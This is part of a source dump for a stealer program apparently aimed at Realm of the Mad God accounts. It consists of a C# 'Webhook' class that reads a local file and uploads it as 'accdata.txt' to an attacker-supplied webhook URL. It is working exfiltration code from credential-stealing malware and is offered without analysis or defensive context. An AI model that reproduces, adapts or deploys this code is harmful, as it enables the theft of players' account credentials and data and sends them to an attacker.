RotMG Sol stealer program source dump part 2.

// Nataruzaki.Webhook
using System.IO;
using System.Net;
using System.Net.Http;

internal class Webhook
{
    private HttpClient Client;

    private string Url;

    public string Name
    {
        get;
        set;
    }

    public string ProfilePictureUrl
    {
        get;
        set;
    }

    public Webhook(string webhookUrl)
    {
        this.Client = new HttpClient();
        this.Url = webhookUrl;
    }

    public bool SendMessage(string content, string file = null)
    {
        MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent();
        multipartFormDataContent.Add(new StringContent(this.Name), "username");
        multipartFormDataContent.Add(new StringContent(this.ProfilePictureUrl), "avatar_url");
        multipartFormDataContent.Add(new StringContent(content), "content");
        if (file != null)
        {
            if (!File.Exists(file))
            {
                throw new FileNotFoundException();
            }
            byte[] content2 = File.ReadAllBytes(file);
            multipartFormDataContent.Add(new ByteArrayContent(content2), "file", "accdata.txt");
        }
        HttpResponseMessage result = this.Client.PostAsync(this.Url, multipartFormDataContent).Result;
        return result.StatusCode == HttpStatusCode.NoContent;
    }
}